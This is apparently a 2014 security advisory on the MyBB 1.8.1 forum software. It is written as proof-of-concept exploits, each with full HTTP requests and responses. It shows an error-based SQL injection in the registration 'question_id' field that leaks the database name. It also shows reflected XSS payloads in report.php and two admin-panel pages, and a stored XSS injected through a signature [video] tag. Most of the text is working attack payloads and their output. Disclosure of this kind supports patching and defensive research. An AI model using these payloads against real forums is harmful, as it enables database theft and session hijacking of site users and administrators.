#Title: MyBB 1.8.X - Multiple Vulnerabilities #Date: 13.11.2014 #Tested on: Linux / Apache 2.2 / PHP 5 (localhost) #Vendor: mybb.com #Version: => 1.8.1 - Latest ATM #Contact: smash@devilteam.pl #Author: Smash_ Latest MyBB forum software suffers on multiple vulnerabilities, including SQL Injection and Cross Site Scripting. Such bugs may allow attacker to perform remote sql queries against the database, and so on. Sanitize your inputs ;) 1. SQL Injection Vuln: POST 'question_id' - ID'+or+1+group+by+concat_ws(0x3a,database(),floor(rand(0)*2))+having+min(0)+or+1# #1 - Request (question_id=C3yp9eM4wWlk1krjwiyxaXwqnCH9W8Om'+ORDER+BY+9#): POST /mybb-1.8.1/member.php HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 408 regcheck1=®check2=true&username=woot&password=random&password2=random&email=woot%40woot.com&email2=woot%40woot.com&referrername=&imagestring=6cj5n&imagehash=b2dee8e4028e9cad37e30c31753dfe01&answer=4&question_id=C3yp9eM4wWlk1krjwiyxaXwqnCH9W8Om'+ORDER+BY+9#&allownotices=1&receivepms=1&pmnotice=1&subscriptionmethod=0&timezoneoffset=0&dstcorrection=2®time=1415880544&step=registration&action=do_register #1 - Response: HTTP/1.1 503 Service Temporarily Unavailable Date: Thu, 13 Nov 2014 15:16:02 GMT

MyBB SQL Error

MyBB has experienced an internal SQL error and cannot continue.

SQL Error:
1054 - Unknown column '9' in 'order clause'
Query:
SELECT q.*, s.sid FROM mybb_questionsessions s LEFT JOIN mybb_questions q ON (q.qid=s.qid) WHERE q.active='1' AND s.sid='C3yp9eM4wWlk1krjwiyxaXwqnCH9W8Om' ORDER BY 9#' #2 - Request (question_id=-C3yp9eM4wWlk1krjwiyxaXwqnCH9W8Om'+ORDER+BY+8#): POST /mybb-1.8.1/member.php HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 409 regcheck1=®check2=true&username=woot&password=random&password2=random&email=woot%40woot.com&email2=woot%40woot.com&referrername=&imagestring=6cj5n&imagehash=b2dee8e4028e9cad37e30c31753dfe01&answer=4&question_id=-C3yp9eM4wWlk1krjwiyxaXwqnCH9W8Om'+ORDER+BY+8#&allownotices=1&receivepms=1&pmnotice=1&subscriptionmethod=0&timezoneoffset=0&dstcorrection=2®time=1415880544&step=registration&action=do_register #2 - Response: HTTP/1.1 200 OK Date: Thu, 13 Nov 2014 15:21:15 GMT (...) Forums - Registration #3 - Request (Final POC): POST /mybb-1.8.1/member.php HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 475 regcheck1=®check2=true&username=woot&password=random&password2=random&email=woot%40woot.com&email2=woot%40woot.com&referrername=&imagestring=6cj5n&imagehash=b2dee8e4028e9cad37e30c31753dfe01&answer=4&question_id=-C3yp9eM4wWlk1krjwiyxaXwqnCH9W8Om'+or+1+group+by+concat_ws(0x3a,database(),floor(rand(0)*2))+having+min(0)+or+1#&allownotices=1&receivepms=1&pmnotice=1&subscriptionmethod=0&timezoneoffset=0&dstcorrection=2®time=1415880544&step=registration&action=do_register #3 - Response: HTTP/1.1 503 Service Temporarily Unavailable Date: Thu, 13 Nov 2014 15:24:34 GMT (...)

MyBB SQL Error

MyBB has experienced an internal SQL error and cannot continue.

SQL Error:
1062 - Duplicate entry 'mybb:1' for key 'group_key'
Query:
SELECT q.*, s.sid FROM mybb_questionsessions s LEFT JOIN mybb_questions q ON (q.qid=s.qid) WHERE q.active='1' AND s.sid='-C3yp9eM4wWlk1krjwiyxaXwqnCH9W8Om' or 1 group by concat_ws(0x3a,database(),floor(rand(0)*2)) having min(0) or 1#'
(...) 2. Cross Site Scripting a) Reflected XSS - Report post Vuln: GET 'type' - XSS"> localhost/mybb-1.8.1/report.php?type=XSS%22%3E%3Cscript%3Ealert%28666%29%3C%2fscript%3E&pid=1 Request: GET /mybb-1.8.1/report.php?type=XSS%22%3E%3Cscript%3Ealert%28666%29%3C%2fscript%3E&pid=1 HTTP/1.1 Host: localhost Response: HTTP/1.1 200 OK Set-Cookie: sid=27ec1f0b75b3c6b9d852e6614144a452; path=/mybb-1.8.1/; HttpOnly Content-Length: 1247 Content-Type: text/html
" /> b) Stored XSS - Signature Vuln: POST 'signature' - [video=youtube]http://youtube.com?"+xss="true"+666="[/video] #1 - Request (change signature): POST /mybb-1.8.1/usercp.php HTTP/1.1 Host: localhost Referer: http://localhost/mybb-1.8.1/usercp.php?action=editsig Content-Type: application/x-www-form-urlencoded Content-Length: 203 my_post_key=c08308117fcadae6609372f46fa97835&signature=%5Bvideo%3Dyoutube%5Dhttp%3A%2F%2Fyoutube.com%3F%22+xss%3D%22true%22+666%3D%22%5B%2Fvideo%5D&updateposts=0&action=do_editsig&submit=Update+Signature #2 - Request (user's profile): GET /mybb-1.8.1/member.php?action=profile&uid=2 HTTP/1.1 Host: localhost Referer: http://localhost/mybb-1.8.1/usercp.php?action=editsig #2 - Response: HTTP/1.1 200 OK Set-Cookie: sid=e68f1b6fab0737d7057b546e24d8106e; path=/mybb-1.8.1/; HttpOnly Content-Length: 12740 Content-Type: text/html; charset=UTF-8 (...)
user's Signature
[Video: http://youtube.com?" xss="true" 666="]

c) Reflected XSS - Templates (AP) Vuln: GET 'title' - title"> localhost/mybb-1.8.1/admin/index.php?module=style-templates&action=edit_template&title=calendar">&sid=1&expand=1 Request: GET /mybb-1.8.1/admin/index.php?module=style-templates&action=edit_template&title=calendar%22%3E%3Cscript%3Ealert(666)%3C/script%3E&sid=1&expand=1 HTTP/1.1 Host: localhost Response: HTTP/1.1 200 OK (...) Editing Template: calendar"><script>alert(666)</script> d) Reflected XSS - Languages (AP) Vuln: GET 'file' - woot localhost/mybb-1.8.1/admin/index.php?module=config-languages&action=edit&lang=english&editwith=&file=woot Request: GET /mybb-1.8.1/admin/index.php?module=config-languages&action=edit&lang=english&editwith=&file=%3Ca%20onmouseover=alert(666)%3Ewoot HTTP/1.1 Host: localhost Response: HTTP/1.1 200 OK (...) Languages » English (American) » woot (...)
woot